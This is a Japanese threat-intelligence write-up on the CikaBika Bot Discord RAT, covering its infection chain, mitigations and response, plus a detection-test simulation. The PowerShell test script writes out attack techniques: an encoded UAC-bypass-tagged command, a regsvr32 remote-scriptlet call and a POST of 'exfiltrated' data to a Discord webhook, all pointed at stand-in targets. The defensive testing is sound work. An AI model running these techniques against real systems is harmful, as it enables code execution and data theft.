CikaBikaボット分析：Discord RATの動作

概要

CikaBika BotはRustで作成されたリモートアクセス型トロイの木馬で、悪意のあるLNKファイルやPDF文書などのフィッシングにより拡散されます。このマルウェアはNimベースのローダーを使用してPowerShellのUAC回避をトリガーし、Microsoft Edgeに対してDLL検索順序のハイジャックを行います。感染システムを管理し、複数の悪意のあるコマンドを実行するために、Discordをコマンド＆コントロールプラットフォームとして利用します。

調査

Darktraceの研究者は、悪意のあるショートカットとおとりのPDFを含むディスクイメージから始まる感染チェーンを分析しました。調査は、テンポラリのテキストファイルからMicrosoft Edgeのアプリケーションディレクトリに配置されたハイジャックされたDLLへのペイロードを追跡しました。研究者はまた、このRATが偵察のためにDiscordを使用し、ngrokを使ってデータの流出を行っていることも観察しました。

緩和策

組織は、信頼できないソースから入手したLNKファイルやディスクイメージの実行に対して厳しい制御を施すべきです。ユーザーアカウント制御（UAC）設定を強化し、HKLM/HKCUシェルコマンドに関連する無許可のレジストリ変更を監視することで、回避試行を防ぐことができます。セキュリティチームは、異常なMicrosoft Edgeの子プロセスや、Discordまたはngrokの無許可の使用を監視する必要があります。

対応策

CikaBika Botの活動が検出された場合、感染したエンドポイントをネットワークから隔離してDiscordのC2チャンネルを妨害します。フォレンジック分析を行い、 %TEMP% ディレクトリとMicrosoft Edgeのインストールパスを調査し、悪意のある dbghelp.dllを特定します。ipify.comやngrokに関連する不審な接続をネットワークテレメトリで確認し、データ流出の可能性範囲を評価します。

シミュレーション実行

• 攻撃の流れとコマンド： 敵対者は初期アクセスを得ました。検出を避けるため、彼らはエンコードされたPowerShellコマンドを介してペイロードを実行しようとします。コマンド文字列には”PowerShell UAC bypass”というダミーコメントが含まれ、特定のルールロジックをトリガーします。この後、敵対者は regsvr32.exe を使用してリモートスクリプトレットを実行しようとします（テスト中のネットワークノイズを避けるためにローカルファイルでシミュレート）。最後に、敵対者はPowerShellを使用してDiscordのWebhook URLにダミーのPOSTリクエストを送信することでデータ流出をシミュレートします。

• 回帰テストスクリプト：

  # シミュレーションスクリプト：CikabikaスタイルのDiscord流出の模倣
  
  Write-Host "[+] シミュレーション開始..."
  
  # 1. 'selection_uac_bypass'と'selection_powershell_encoded'条件をシミュレート
  # コマンドには文字列'PowerShell UAC bypass'が含まれ、'-enc'を使用
  $command = "Write-Output 'Malicious Payload'; # PowerShell UAC bypass"
  $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
  $encodedCommand = [Convert]::ToBase64String($bytes)
  
  Write-Host "[+] バイパス文字列と共にエンコードされたPowershellの実行中..."
  powershell.exe -enc $encodedCommand
  
  # 2. 'selection_regsvr32'をシミュレート
  # これはルールの'AND'条件の後半をトリガー
  Write-Host "[+] Regsvr32を実行中..."
  regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll
  
  # 3. 'selection_discord_exfil'をシミュレート
  # これは'AND'条件の後半の代替パスを提供
  Write-Host "[+] Discord流出をシミュレート中..."
  $discordWebhook = "https://discord.com/api/webhooks/test/12345"
  powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Exfiltrated Data"}'"
  
  Write-Host "[+] シミュレーション完了。

• クリーンアップコマンド：

  # クリーンアップ：シミュレーション中に作成されたテンポラリファイルを削除します（存在する場合）。
  # この特定のシミュレーションではディスクへのファイル書き込みは行われませんでしたが、
  # プロセスツリーを清掃します。
  Stop-Process -Name "powershell" -ErrorAction SilentlyContinue
  Write-Host "[+] クリーンアップ完了。